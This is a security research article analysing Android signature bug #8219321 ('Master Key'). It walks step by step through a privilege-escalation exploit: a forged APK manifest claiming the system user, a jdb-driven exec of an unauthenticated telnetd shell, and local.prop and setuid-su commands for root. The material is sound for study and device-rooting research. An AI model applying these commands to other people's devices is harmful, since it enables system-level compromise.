Exploit (& Fix) Android "Master Key"
Assuming you enjoy this article, I encourage you to read the next one in the series: Android Bug Superior to Master Key.
Earlier this year, Bluebox Security announced that they had found a bug in Android that could be used to modify the contents of any application package (including ones distributed as part of the system software) without affecting the attached cryptographic signatures; details to be disclosed at Black Hat USA 2013.
However, enough detail was disclosed in the abstract of the talk that others were able to find this bug. Later, a patch was applied to the popular open-source Android ROM CyanogenMod, making the issue both public and obvious: there are now proof-of-concepts for how this bug might be used in concrete form.
In this article, I describe a different approach to the exploitation of bug #8219321 that does not fall prey to the limitations of previous descriptions (specifically, the packages being attacked do not need to have an existing "classes.dex" file inside, which is not actually common on production devices).
This technique is simple enough that it can be performed by hand; this article walks the user through the process, allowing a full understanding of how the exploit is performed. However, an automated tool called Impactor is also introduced that is capable of performing this process on virtually any Android device.
Finally, details of how the underlying bug behind this exploit can be patched using the Cydia Substrate code modification framework are provided, along with a concrete implementation that can be installed on any device supported by Substrate. In the process, an overview of existing work in this area is provided.
Many people reading this article will be doing so only to learn about how to use Cydia Impactor to exploit their device. The download links are: Mac OS X and Windows. This article includes instructions (using local.prop) under "Obtaining Root" that work up through approximately Android 4.1, including Glass and Google TV.
Background Information
A few months ago, the schedule for the yearly Black Hat USA conference was posted. With a catchy title and a powerful abstract, one talk in particular caught the eye of many people browsing the conference: Android: One Root to Own Them All. The abstract is as follows, discussing an undisclosed vulnerability.
This presentation is a case study showcasing the technical details of Android security bug 8219321, disclosed to Google in February 2013. The vulnerability involves discrepancies in how Android applications are cryptographically verified & installed, allowing for APK code modification without breaking the cryptographic signature; that in turn is a simple step away from system access & control.
A lot of discussion occurred regarding this bug, but few details were available past that abstract and a couple cryptic posts to Twitter by Bluebox Security, the company whose founders were giving the talk. It was over a month later that further information was published by Jeff Forristal, the discoverer of the bug.
In their blog post, Uncovering Android Master Key that Makes 99% of Devices Vulnerable, a rather bleak picture was painted of the threat posed by this discovery, and in the weeks that followed, the story generated a lot of press, being covered by everything from TechCrunch to the LA Times.
Play Store Safety
On Android, all applications are signed by their developers using private cryptographic keys; it is by comparing the certificates used to verify these signatures that Android's package manager determines whether applications are allowed to share information, or what permissions they are able to obtain.
Even the system software itself is signed by the manufacturer of the device; applications signed by that same key are thereby able to do anything that the system software can. Normally, this is only possible if you are the manufacturer; however, using bug #8219321, anyone could steal those signatures for their own.
A key concern this raises is that applications in the wild might be signed with the system keys of your device; while you think you are just installing a harmless game, that application would look to the package manager as if it came from the manufacturer, giving it elevated and dangerous system permissions.
Thankfully, in the CIO article Vulnerability allows attackers to modify Android apps without breaking their signatures, we learn from Forristal that when Google was made aware of this bug by Bluebox Security, they did not find packages exploiting this bug in their Android application market, the Play Store.
Using Google Play to distribute apps that have been modified to exploit this flaw is not possible because Google updated the app store's application entry process in order to block apps that contain this problem, Forristal said. The information received by Bluebox from Google also suggests that no existing apps from the app store have this problem, he said.
Another potential exploit vector are packages that have the permission to install other packages. Interestingly, and as noted in H-Online's article Android's code signing can be bypassed, "Google blocked non-Play-Store updating in April this year". That policy being a workaround for this security issue is a compelling thought.
Responsible Disclosure
Of course, as many of my readers are keenly aware, there are non-malicious reasons to be interested in such vulnerabilities. Many users have devices that are locked down by manufacturers or carriers for any number of dubious reasons. To free these devices, exploits are often used to empower the user.
The result is that many times, bugs like this are hoarded and used by groups such as evad3rs without any warning or notice to those who might be affected, for the purpose of accessing locked up devices. This is, of course, a dangerous game to play; but, it is one that some of us feel we must attempt.
With bug #8219321, Bluebox Security made a point that they felt "responsible disclosure" was important, notifying Google about the bug well before Black Hat, when the bug was to be disclosed to the public. (Jeff Forristal is reportedly even "responsible for the first publicized responsible security disclosure policy".)
However, there was an abstract posted that explained that there was a signature vulnerability; a few of us in the security community were able to find this bug based on this information alone: knowing where to look and knowing there's something there to find makes the process of discovery much much easier.
Finding the Bug
In my case, I had previously looked at the handling of zip files while commenting on a bug someone had found in 2012, Ice Cream Sandwich: why native code support sucks. In my comment, I described the hashtable used to read an archive; so, when I looked at the code used to verify the archive, the bug was quite clear.
Once I had found the bug, I was posed with a moral quandary: do I release a tool that helps people use and patch this vulnerability, or do I wait until it is disclosed to the public at Black Hat? After some consultation with other security researchers on IRC, I purchased a ticket to Black Hat, tentatively deciding to wait.
In the end, however, Bluebox Security made a point about drumming up more press about the issue, which led to more speculation and more eyeballs. While frankly, we should assume that the truly scary adversaries had the bug within hours of the Black Hat schedule being posted, now it was nigh-unto public knowledge.
To demonstrate just how easily this could be found, someone commenting on Hacker News managed to figure it out using only idle speculation based on reading a description of the jar signing algorithm; in ctz's comment, he describes two possibilities, the first one being the same bug found by Bluebox Security.
The zip format doesn't structurally guarantee uniqueness of names in file entries. If the APK signature verification chooses the first matching file entry for a given name, and unpacking chooses the last then you're screwed in the way described.
Soon thereafter, an issue was filed against CyanogenMod (an open-source alternative distribution of Android), Patch for Android bug security bug 8219321?; and coming right on its heels was a patch for the bug posted to their revision control system, Remove support for duplicate file entries. The bug is now public.
APK Verification
To some extent, I don't really need to describe the bug anymore, as this has been done by others; one highly-detailed blog even posted an entire series of articles (seven so far) documenting the bug called The Great Android Security Hole Of ’08 ?. However, as the way I exploit the issue is different, I will need to re-document the bug.
The core issue is that Android package (APK) files are parsed and verified by a different implementation of "unzip a file" than the code that eventually loads content from the package: the files are verified in Java, using Harmony's ZipFile implementation from libcore, while the data is loaded from a C re-implementation.
The way that these two implementations handle multiple files with the same name occurring in the zip file differs. The way the Java implementation reads the file is that it goes through the "central directory" and adds each entry to a LinkedHashMap. The key the entry is stored using is the name of the file.
private final LinkedHashMap<String, ZipEntry> mEntries = new LinkedHashMap<String, ZipEntry>(); int numEntries = it.readShort() & 0xffff; for (int i = 0; i < numEntries; ++i) { ZipEntry newEntry = new ZipEntry(hdrBuf, bin); mEntries.put(newEntry.getName(), newEntry); }
Later, the PackageParser goes through each entry in the zip file, verifying that the file was signed with a consistent signature. This code iterates over the LinkedHashMap. The result is that only the last entry with a given name is considered for signature verification: all previous duplicates are discarded.
JarFile jarFile = new JarFile(mArchiveSourcePath); Enumeration<JarEntry> entries = jarFile.entries(); final Manifest manifest = jarFile.getManifest(); while (entries.hasMoreElements()) { final JarEntry je = entries.nextElement(); final Certificate[] localCerts = loadCertificates(jarFile, je, readBuffer); if (localCerts == null) { Slog.e(TAG, "Package " + pkg.packageName + " has no certificates at entry " + je.getName() + "; ignoring!");
Replacing Dalvik Bytecode
So far, all of the exploits described that use this bug follow directly from the phrase "APK code modification" in the original abstract posted by Black Hat USA 2013: the goal is to replace the bytecode stored in the APK that is loaded by the VM's JarFile implementation; this uses a C implementation of unzip.
int numEntries = pArchive->mNumEntries; pArchive->mHashTableSize = dexRoundUpPower2(1 + (numEntries * 4) / 3); pArchive->mHashTable = calloc(pArchive->mHashTableSize, sizeof(ZipHashEntry)); int i; for (i = 0; i < numEntries; i++) { hash = computeHash(ptr + kCDELen, fileNameLen); addToHash(pArchive, ptr + kCDELen, fileNameLen, hash); ptr += kCDELen + fileNameLen + extraLen + commentLen; }
static void addToHash(ZipArchive *pArchive, const char *str, int strLen, unsigned int hash) { const int hashTableSize = pArchive->mHashTableSize; int ent = hash & (hashTableSize - 1); while (pArchive->mHashTable[ent].name != NULL) ent = (ent + 1) & (hashTableSize-1); pArchive->mHashTable[ent].name = str; pArchive->mHashTable[ent].nameLen = strLen; }
This algorithm is an unchained hashtable with linear probing, without replacement. The result is that every entry in the original zip file is placed into the array. The algorithm for finding entries is the same as that for adding them: you scan forward looking for a match. This means earlier entries are used instead of later ones.
If you thereby take an existing APK file and add a new entry to the zip file for "classes.dex" that comes before the one that is already in the APK, it will continue to verify correctly (as the second instance of the entry will be used by the verifier) but the modified file will be loaded by the VM (as it comes first).
Optimized Dex Files
This description is easier said than done: the APK files you really want to target are the ones that came from the manufacturer that are already on the device. For space-conservation and startup-performance reasons, however, these files do not actually contain bytecode: the enclosed "classes.dex" is externally optimized.
In the case of the Google Nexus devices I have lying around, none of the system packages contain bytecode that can be replaced. A developer named Pau Oliva (who put together a proof-of-concept for this bug) mentioned this issue on the android-security-discuss mailing list in the thread Info on Android bug 8219321?.
yes, but in practice is not that easy: system apps are odex'd and system APKs do not contain a classes.dex inside, so you can backdoor an APK to change a resource/xml but not to alter the actual program because it's an *.odex file outside the APK.
What it seems most developers are thereby doing is to look for APK upgrades that were published by manufacturers; as these must contain the new version of the code that is being deployed, these APK files can be modified. However, finding these gems is hit-and-miss, as well as not being easily automated.
In addition to bug #8219321, there is another signature bug out there that is currently known, based on Android bug #9695860. This was noticed by a number of us due to a patch hitting AOSP in the code that everyone has been staring at, waiting for the patch to bug #8219321 to drop.
The capabilities of this bug are different than #8219321. The way people normally attempt to exploit it makes it even harder to use than bug #8219321. Specifically, people have found that you can use it to swap out the contents of a file that is smaller than 64kB (which limits your options).
As everyone is concentrating on classes.dex, Pau Oliva (the developer of a proof-of-concept for bug #8219321) said on Twitter "it was difficult to find APKs containing a classes.dex signed with a platform key, now go and find those with classes.dex <64Kb". Later, he indicated he did find one for Motorola's key.
For more information on the way people have chosen to exploit bug #9695860 so far, it is recommended to read the descriptions by the Android Security Squad (安卓安全小分队) along with (unless you read Chinese; if you do, that might be sufficient) English descriptions from H-Online and Sophos.
Replacing Native Libraries
Another possibility is replacing the native code contained in a package. These files are extracted by the package manager when a package is installed and during system startup. The C++ code used for this purpose is very similar to the C code in Dalvik, but has been modified quite heavily.
int numEntries = mNumEntries; mHashTableSize = roundUpPower2(1 + (numEntries * 4) / 3); mHashTable = calloc(mHashTableSize, sizeof(HashEntry)); for (int i = 0; i < numEntries; i++) { hash = computeHash(ptr + kCDELen, fileNameLen); addToHash(ptr + kCDELen, fileNameLen, hash); ptr += kCDELen + fileNameLen + extraLen + commentLen; }
void ZipFileRO::addToHash( const char *str, int strLen, unsigned int hash ) { int ent = hash & (mHashTableSize-1); while (mHashTable[ent].name != NULL) ent = (ent + 1) & (mHashTableSize-1); mHashTable[ent].name = str; mHashTable[ent].nameLen = strLen; }
Once again, we see a hashtable being used. As with the implementation in Dalvik, entries are read from the zip file and stored without replacement. However, unlike in Dalvik, the code that uses the zip file does not then use the hashtable to look up a single file (classes.dex) by name: it iterates the table.
const int N = zipFile.getNumEntries(); for (int i = 0; i < N; i++) { const ZipEntryRO entry = zipFile.findEntryByIndex(i); if (strncmp(fileName, APK_LIB, APK_LIB_LEN)) continue; ... callFunc(env, callArg, &zipFile, entry, ...);
This code, from the function iterateOverNativeFiles in NativeLibraryHelper, goes through every entry of the zip file; for each file, a function pointer is called that does something with the entry, such as seeing if it is a compatible library that should be extracted (the function copyFileIfChanged in this case).
Looking at ZipFileRO.cpp, we see that findEntryByIndex starts at the top of the hashtable looking for used slots (yes, this algorithm is O(N^2); and no, this is not a reasonable way to iterate the contents of a zip file ;P bugs have been filed before about O(N^2) algorithms in the Java code, maybe this will be fixed).
ZipEntryRO ZipFileRO::findEntryByIndex(int idx) const { if (idx < 0 || idx >= mNumEntries) return NULL; for (int ent = 0; ent < mHashTableSize; ent++) if (mHashTable[ent].name != NULL) if (idx-- == 0) return (ZipEntryRO) (ent + kZipEntryAdj); return NULL; }
Sadly, the code that extracts the library overwrites any library that had previously been extracted, so later entries in the hashtable will win over earlier ones. While it is possible to get the hashtable to wrap (moving the "later" entry to the top of the array) this is difficult to control and unlikely due to over-provisioning.
Replacing AndroidManifest.xml
The other category of files contained in an Android application package are assets and resources (which are technically stored in assets). These are managed by the AssetManager, which uses the same hashtable-based C++ unzip implementation that is used by the native library extraction logic.
In particular, every package contains a file AndroidManifest.xml, which describes the contents of the package. Of note, one proof-of-concept implementation of this bug has an issue filed on GitHub, Research exactly what can be modified, noting that "when AndroidManifest is messed with weird things start happening".
This file has the difficult property that it is used by both the PackageParser from Java as well as the AssetManager from C++. We thereby need to look at each of the usages to verify that nothing will cause us problems (this sounds more interesting than it is; I am trying to be complete: I'm sorry).
private static final String ANDROID_MANIFEST_FILENAME = "AndroidManifest.xml";
if ((flags & PARSE_IS_SYSTEM) != 0) { JarEntry jarEntry = jarFile.getJarEntry( ANDROID_MANIFEST_FILENAME); certs = loadCertificates(jarFile, jarEntry, ...); ... } else { Enumeration<JarEntry> entries = jarFile.entries(); while (entries.hasMoreElements()) { final JarEntry je = entries.nextElement(); final String name = je.getName(); if (ANDROID_MANIFEST_FILENAME.equals(name)) { final Attributes attributes = manifest.getAttributes(name); pkg.manifestDigest = ManifestDigest.fromAttributes(attributes); } ... } }
This code, from the PackageParser, is the code that verifies the signatures. While it does this, if it comes across the AndroidManifest, it saves its digest for later usage. This field's usage is described in a documentation comment, but we will also pull the code to verify that it is not used in a way that will cause a problem.
/** * Digest suitable for comparing whether this * package's manifest is the same as another. */ public ManifestDigest manifestDigest;
As the AndroidManifest.xml entry seen by the PackageParser will always be one from the system, and as the APK file we are starting from is likely installed on the system already, this means that the manifestDigest field will be set to the same value as a system package that is already installed on the device.
The only place I've been able to figure out that this is used is as part of the package installation process itself to verify that a package file is not maliciously changed out from underneath the installation process during the handoff between the pm frontend tool and the backend PackageManager service.
if (!args.manifestDigest.equals(pkg.manifestDigest)) { res.returnCode = PackageManager.INSTALL_FAILED_PACKAGE_CHANGED; return; }
If the package has been changed during this time, the installation process fails with the error INSTALL_FAILED_PACKAGE_CHANGED. This is not a problem for us, as the tools that parse and place a manifest for verification purposes are going to need a ManifestDigest object, and will also obtain that from Java.
Forward-Locked Public Files
Another usage of the Java zip code to access the AndroidManifest.xml comes from PackageHelper, in a function called extractPublicFiles. This routine is only called by PackageManagerService when a package is "forward-locked" (which is the term applied to Android's attempt at providing copy-protected packages).
// Copy manifest, resources.arsc and res directory to public zip for (final ZipEntry zipEntry : Collections.list(privateZip.entries())) { final String zipEntryName = zipEntry.getName(); if ("AndroidManifest.xml".equals(zipEntryName) || "resources.arsc".equals(zipEntryName) || zipEntryName.startsWith("res/")) { size += zipEntry.getSize(); if (publicZipFile != null) copyZipEntry(zipEntry, privateZip, publicZipOutStream); } }
if (isFwdLocked()) { final File destResourceFile = new File(getResourcePath()); PackageHelper.extractPublicFiles( codeFileName, destResourceFile); }
Tracing backwards through how a package becomes isFwdLocked(), it largely came down to whether the -l flag had been passed to the pm frontend while the package was being installed. I also followed another path that involved a package being marked with a special forward-locked flag as part of its settings.
while ((opt = nextOption()) != null) { if (opt.equals("-l")) { installFlags |= PackageManager.INSTALL_FORWARD_LOCK;
if (isForwardLocked(pkg)) { currFlags |= PackageManager.INSTALL_FORWARD_LOCK; newFlags |= PackageManager.INSTALL_FORWARD_LOCK; }
private static boolean isForwardLocked(PackageParser.Package pkg) { return (pkg.applicationInfo.flags & ApplicationInfo.FLAG_FORWARD_LOCK) != 0; } private boolean isForwardLocked(PackageSetting ps) { return (ps.pkgFlags & ApplicationInfo.FLAG_FORWARD_LOCK) != 0; }
/* Set the global "forward lock" flag */ if ((flags & PARSE_FORWARD_LOCK) != 0) pkg.applicationInfo.flags |= ApplicationInfo.FLAG_FORWARD_LOCK;
Honestly, while attempting to figure out how to set PARSE_FORWARD_LOCK, all I came up with were cases where INSTALL_FORWARD_LOCK had previously been set on the old version of a package that is now failing to install (causing a rollback to the previous copy); so, it sort of came full circle.
Suffice it to say, however, that as long as one does not attempt to create a forward-locked application using this bug, you should not have any problems. If there are ways to obtain a forward-locked application that I have failed to find or consider, the reader should simply avoid those mechanisms.
Investigating the AssetManager
The remaining usages of the manifest are through the AssetManager (or "assmgr"). The asset system keeps track of files using "cookies", which are really just offsets into an array of files: files are added to the asset path, you get back a cookie, and you pass the cookie and the name of an asset you want for later lookup.
AssetManager assmgr = null; assmgr = new AssetManager(); int cookie = assmgr.addAssetPath(mArchiveSourcePath); assmgr.openXmlResourceParser(cookie, ANDROID_MANIFEST_FILENAME);
Inside of AssetManager.java, we follow our attempt to open the XML asset through openXmlResourceParser, openXmlBlockAsset, and finally openXmlAssetNative, which is part of the native AssetManager.cpp that uses openNonAssetInPathLocked to find the entry in the zip file and returns a stream to the contents.
XmlBlock block = openXmlBlockAsset(cookie, fileName); XmlResourceParser rp = block.newParser(); block.close(); return rp;
int xmlBlock = openXmlAssetNative(cookie, fileName); if (xmlBlock != 0) { XmlBlock res = new XmlBlock(this, xmlBlock); incRefsLocked(res.hashCode()); return res; }
AssetManager *am = assetManagerForJavaObject(env, clazz); Asset *a = am->openNonAsset(cookie, fileName8.c_str(), Asset::ACCESS_BUFFER)
const size_t which = cookie - 1; Asset *pAsset = openNonAssetInPathLocked( fileName, mode, mAssetPaths.itemAt(which));
if (ap.type == kFileTypeDirectory) { ... } else { /* zip file */ String8 path(fileName); ZipFileRO *pZip; ZipEntryRO entry; pZip = getZipFileLocked(ap); entry = pZip->findEntryByName(path.string());
As we can see, modifying the AndroidManifest.xml associated with a package is very simple, and should not cause any serious side effects. The final step in the asset pipeline involves using the same zip file implementation we saw previously for native libraries, but this time using findEntryByName: it is vulnerable.
Compiling AndroidManifest
When replacing the AndroidManifest in an APK, we cannot just add a plain-text XML file: all XML resources on Android are compiled to resources, with many of the attributes being replaced by numeric identifiers that are shared with the underlying platform. We must compile our AndroidManifest using aapt.
$ echo >AndroidManifest.xml <<EOF <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="a.b.c.d" android:versionCode="0" android:versionName="0" android:sharedUserId="android.uid.system" > <application android:hasCode="false"/> </manifest> EOF $ aapt p -I $sdk/platforms/android-3/android.jar \ -f -F abcd.apk -M AndroidManifest.xml
The "android.uid.system" constant being used with "android:sharedUserId" indicates that this package should have its processes and data owned by the system user. In order to use this attribute, the package must be signed by the system developer (bypassing that requirement, of course, is the whole point of this exercise ;P).
We specify android:hasCode="false" as part of our application element, as our modified APK will not have a classes.dex file. If you otherwise try to install a package with an AndroidManifest that contains an application element (which we need to define things like activities), you will get an error from the dex optimizer.
$ adb install -r abcd.apk 3019 KB/s (2934687 bytes in 0.949s) pkg: /data/local/tmp/abcd.apk Failure [INSTALL_FAILED_DEXOPT]
I/PackageManager( 522): Running dexopt on: a.b.c.d I/PackageManager( 522): Package a.b.c.d codePath changed from /data/app/a.b.c.d-2.apk to /data/app/a.b.c.d-1.apk; Retaining data and using new W/dalvikvm( 2992): DexOptZ: zip archive '/data/app/a.b.c.d-1.apk' does not include classes.dex W/installd( 162): DexInv: --- END '/data/app/a.b.c.d-1.apk' --- status=0xff00, process failed E/installd( 162): dexopt failed on '/data/dalvik-cache/data@app@a.b.c.d-1.apk@classes.dex' res = 65280 W/PackageManager( 522): Package couldn't be installed in /data/app/a.b.c.d-1.apk
Hacking an APK
Our next step is to build the zip file with multiple copies of AndroidManifest.xml. There are a couple proof-of-concepts available for this, implemented in Python (Quick & dirty PoC for Android bug 8219321) and Java (APK generator for a huge hole in Android). Readers might choose to work with one of these tools.
Frankly, however, all of these projects are over-thinking the problem: while for a 100% automated tool one should definitely do something "correct" and parse through the zip directory entries, if you are messing around at the console it is totally possible to just temporarily rename entries in the zip using sed.
So, we will take the Android package we compiled in the previous section, rename AndroidManifest.xml to ExploitManifest.xml, and then use an off-the-shelf command-line implementation of zip to merge all of the files from a copy of Settings.apk pulled from our device. Finally, we rename our manifest back.
$ adb pull /system/app/Settings.apk 4104 KB/s (6413575 bytes in 1.526s) $ unzip -qd Settings Settings.apk $ sed -i -e 's/AndroidManifest/ExploitManifest/g' abcd.apk $ (cd Settings && zip -qr ../abcd.apk .) $ sed -i -e 's/ExploitManifest/AndroidManifest/g' abcd.apk
This modified package is now able to be installed on the system. It will verify using the files that were added to the zip file, but when the AndroidManifest.xml is parsed it will use the one we compiled using aapt. We can verify that the package installs by way of the "Success" and checking with "pm list packages".
$ adb install -r abcd.apk 3011 KB/s (2934659 bytes in 0.951s) pkg: /data/local/tmp/abcd.apk Success $ adb shell pm list packages | grep -F a.b.c.d package:a.b.c.d
android:debuggable & run-as
We now have to find a way to run code in this package using only a modified manifest. One idea multiple reviewers had was to mark the package android:debuggable="true" and then use run-as. This tool is the only setuid program on the entire system, and lets the debug shell run code in the context of a debuggable app.
However, this will not work: the implementation of run-as specifically refuses to work if the target application is not a normal unprivileged application (which it checks by comparison with the user id used by the package). As for purposes of a system exploit we only care about the system user, this is not helpful.
pkgname = argv[1]; if (get_package_info(pkgname, &info) < 0) return 1; /* reject system packages */ if (info.uid < AID_APP) { panic("Package '%s' is not an application\n", pkgname); return 1; }
#define AID_ROOT 0 /* traditional unix root user */ #define AID_SYSTEM 1000 /* system server */ #define AID_APP 10000 /* first app user */
android:debuggable & jdb
However, another option is to mark the process debuggable and then attach a debugger. As the debugger interface allows us to run code as the process (in order to check the values of variables at runtime, or to test logic using different arguments), we can use this to run whatever we need as the target process.
To do this, we first have to get the application running inside of a process, which might seem awkward to do if we don't have any code in our package. However, we can specify any class we want as a subclass of Activity for our entrypoint, including the Activity class itself (which is in the system framework).
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="a.b.c.d" android:versionCode="0" android:versionName="0" android:sharedUserId="android.uid.system" > <application android:hasCode="false" android:debuggable="true" > <activity android:name="android.app.Activity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> </application> </manifest>
Building a package with this manifest, we can now start our generic activity. It will come up on the screen blank (as it doesn't do anything at all), but the result is that the process will be started. If we then query for debuggable processes using adb jdwp, we will find a process to connect to using jdb via adb forward.
$ adb shell am start -D -a android.intent.action.MAIN -n a.b.c.d/android.app.Activity Starting: Intent { act=android.intent.action.MAIN cmp=a.b.c.d/android.app.Activity } $ adb jdwp 2256 $ adb forward tcp:8600 jdwp:2256 $ jdb -attach localhost:8600 Set uncaught java.lang.Throwable Set deferred uncaught java.lang.Throwable Initializing jdb ... >
Once attached with jdb, we can get a list of threads, attach to a specific thread (lets say the main thread), and then attempt to use java.lang.Runtime.getRuntime (which exposes an exec method that can be used to run an arbitrary external process). However, this doesn't work: we get "IncompatibleThreadStateException".
> threads Group system: (java.lang.Thread)0xc1415a1460 <8> FinalizerWatchdogDaemon cond. waiting (java.lang.Thread)0xc1415a12b0 <7> FinalizerDaemon cond. waiting (java.lang.Thread)0xc1415a1148 <6> ReferenceQueueDaemon cond. waiting (java.lang.Thread)0xc1415a1058 <5> Compiler cond. waiting (java.lang.Thread)0xc1415a0e78 <3> Signal Catcher cond. waiting (java.lang.Thread)0xc1415a0d98 <2> GC cond. waiting Group main: (java.lang.Thread)0xc140d359a0 <1> main running (java.lang.Thread)0xc1415a7888 <11> Binder_3 running (java.lang.Thread)0xc1415a5c28 <10> Binder_2 running (java.lang.Thread)0xc1415a5ac8 <9> Binder_1 running > thread 0xc140d359a0 <1> main[1] print java.lang.Runtime.getRuntime() com.sun.jdi.IncompatibleThreadStateException at com.sun.tools.jdi.ThreadReferenceImpl.frameCount(ThreadReferenceImpl.java:342) at com.sun.tools.example.debug.tty.ThreadInfo.getCurrentFrame(ThreadInfo.java:221) at com.sun.tools.example.debug.tty.Commands.evaluate(Commands.java:106) at com.sun.tools.example.debug.tty.Commands.doPrint(Commands.java:1654) at com.sun.tools.example.debug.tty.Commands$3.action(Commands.java:1680) at com.sun.tools.example.debug.tty.Commands$AsyncExecution$1.run(Commands.java:66) java.lang.Runtime.getRuntime() = null Current thread isn't suspended.
The error message "Current thread isn't suspended." seems somewhat useful: you can't run things on a thread that is already running things, so we must first suspend all of the threads. However, this doesn't help, and we still get the same exception (although thrown by a different location in the jdb code).
<1> main[1] suspend All threads suspended. <1> main[1] print java.lang.Runtime.getRuntime() com.sun.jdi.IncompatibleThreadStateException at com.sun.tools.jdi.ClassTypeImpl.invokeMethod(ClassTypeImpl.java:231) at com.sun.tools.example.debug.expr.LValue$LValueStaticMember.getValue(LValue.java:561) at com.sun.tools.example.debug.expr.ExpressionParser.evaluate(ExpressionParser.java:84) at com.sun.tools.example.debug.tty.Commands.evaluate(Commands.java:114) at com.sun.tools.example.debug.tty.Commands.doPrint(Commands.java:1654) at com.sun.tools.example.debug.tty.Commands$3.action(Commands.java:1680) at com.sun.tools.example.debug.tty.Commands$AsyncExecution$1.run(Commands.java:66) java.lang.Runtime.getRuntime() = null
The reason this is happening is because the thread is not "ready". Looking in Dalvik's Debugger code, in dvmDbgInvokeMethod, we see a useful comment explaining that a thread being "ready" means that it has been "stopped by event" (such as a breakpoint). This is something we can sort of easily accomplish.
if (!targetThread->invokeReq.ready) { dvmUnlockThreadList(); return ERR_INVALID_THREAD; /* thread not stopped by event */ }
Looking at the stacktrace of the main thread, we see that it is sitting inside of MessageQueue's nativePollOnce(). This is the backend for next(), which is called in a loop from Looper. This means that if we set a breakpoint at next() and cause any message at all to be sent, the breakpoint will hit.
<1> main[1] where [1] android.os.MessageQueue.nativePollOnce (native method) [2] android.os.MessageQueue.next (MessageQueue.java:125) [3] android.os.Looper.loop (Looper.java:124) [4] android.app.ActivityThread.main (ActivityThread.java:5,041) [5] java.lang.reflect.Method.invokeNative (native method) [6] java.lang.reflect.Method.invoke (Method.java:511) [7] com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run (ZygoteInit.java:793) [8] com.android.internal.os.ZygoteInit.main (ZygoteInit.java:560) [9] dalvik.system.NativeStart.main (native method) <1> main[1] stop in android.os.MessageQueue.next() Set breakpoint android.os.MessageQueue.next()
Virtually anything you do with the activity (such as just touching it) will cause a message to be fired, but we can also force this behavior by re-spawning the activity at the command-line. The --activity-clear-task argument is one simple way to do it (although only on more recent versions of Android).
$ adb shell am start --activity-clear-task -a android.intent.action.MAIN -n a.b.c.d/android.app.Activity Starting: Intent { act=android.intent.action.MAIN flg=0x8000 cmp=a.b.c.d/android.app.Activity }
When the breakpoint hits, we can now run whatever command we want using java.lang.Runtime's exec. It should be noted that if you pass a single string to this function it is tokenized using a naive algorithm involving splitting on space characters, making it difficult to run subshells with redirects using sh -c ''.
Breakpoint hit: "thread=<1> main", android.os.MessageQueue.next(), line=118 bci=0 <1> main[1] print java.lang.Runtime.getRuntime().exec("/data/local/tmp/busybox telnetd -p 8899 -l sh") java.lang.Runtime.getRuntime().exec("/data/local/tmp/busybox telnetd -p 8899 -l sh") = "Process[pid=2269]"
However, by running a copy of telnetd (this is often compiled into busybox; if you don't have busybox, I keep a copy compiled for arm on one of my servers). We can then use telnet from our computer (or from the device via busybox) to connect and get a shell running as the system user (sadly, not yet root).
shell@android:/ $ /data/local/tmp/busybox telnet 127.0.0.1:8899 Entering character mode Escape character is '^]'. system@android:/ $ id uid=1000(system) gid=1000(system) groups=1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3007(net_bw_acct),41000(u0_a31000)
Automated Exploit
At this point, while this exploit is possible to perform manually, it should be clear that it would be beneficial to have a more fully-automated implementation. While many implementations of Android exploits involve archives of random binaries and shell scripts attempting to automate adb, I wanted something more "solid".
The result is the first version of what I call Cydia Impactor, a tool for performing device maintenance tasks. I have built it as a graphical application that runs on either Mac OS X (10.7+) or Windows. It has built-in support for automatic update checks, and can be downloaded without entering funny captchas ;P.
In order to fully automate this exploit, Impactor scans all of the APK files on your device to find one that can be used as a system application (with some heuristic checks for common APK names); it then includes a custom implementation of the Java Debug Wire Protocol for automating the debugger.
Once downloaded and installed, the current version of Impactor allows you to specify a command that will be run as the system user. When you click "Start", it will use this exploit to run the command. Right now, this does not further automate getting all the way to root, as I do not have a system->root to burn.
However, I intend to add more features to this tool in the future, from simple things like a logcat viewer and automated installation of Cydia Substrate, to more complex tasks like a device-independent way to get su installed with setuid root using nothing but fastboot oem unlock (even without kernel source available).
Users can download Impactor using the following links: Mac OS X or Windows. These URLs will always point to the most recent version of Impactor (they will redirect to a URL that has the specific version and will be updated automatically), so feel free to post them in forum posts or on Twitter.
Obtaining Root
The next goal is to get root on your device. If you are using Android 4.0 or earlier, or some versions of Android 4.1, you can use the same technique I described in my recent article on Exploiting a Bug in Google's Glass: using /data/local.prop to set the "running in the emulator" property, causing adb to run as root.
(This file is no longer used on more recent versions of Android, partly because the only use case for it seems to be exploits such as this ;P. Some vendors, including Sony, also disable this file even on older versions of Android, as they don't want people using it to escalate from the system user to root.)
If you are using Impactor, you can have it directly run the command to set the contents of this file; otherwise, you will either need to spend some more time fighting with jdb to pass an array of strings to exec, upload a shell script and execute it indirectly, or run the command yourself via telnetd as system.
system@android:/ $ echo ro.kernel.qemu=1 >/data/local.prop
At this point, you should reboot your device. When it comes back, there may be errors displayed due to incompatibilities with the emulator; however, if you use adb, it will be running as root. You just need to push over a copy of su (you can get one from my server), set it setuid, undo the hack, and reboot.
$ adb reboot $ adb shell mount -o remount,rw /system $ adb push su /system/xbin $ adb shell chmod 6755 /system/xbin/su $ adb shell rm /data/local.prop $ adb reboot
Now, when your device reboots, you should no longer get any errors. Your adb shell will also again be restricted as it was before, as the device no longer has our modified properties file. However, as we have installed "su" and marked it with the right privileges, you will be able to get root access whenever you need via adb. You can now install more complex su utilities, and have some fun.
Checking Vulnerability
At this point, users may be wondering whether they are vulnerable. As it stands, most devices are, but you may be using one of the more recently supported devices that is not. Alternatively, you may be using a third-party ROM (such as CyanogenMod) that prioritized getting a fix out (assuming you update often).
Irritatingly, while Bluebox themselves put out a tool that checks whether your device is subject to this vulnerability (with an article Scan Your Device for the Android "Master Key" Vulnerability), many report that it often says you are vulnerable when you aren't; that said, false negatives are the real problem here, not false positives.
Another option is SRT AppScanner, which is available in the Play Store (this, however, also did not work correctly for me). It is possible that ReKey is capable of detecting (as opposed to just fixing; this is not clear). Finally, I found a program described as Tool to detect Bluebox exploits (which checks APKs).
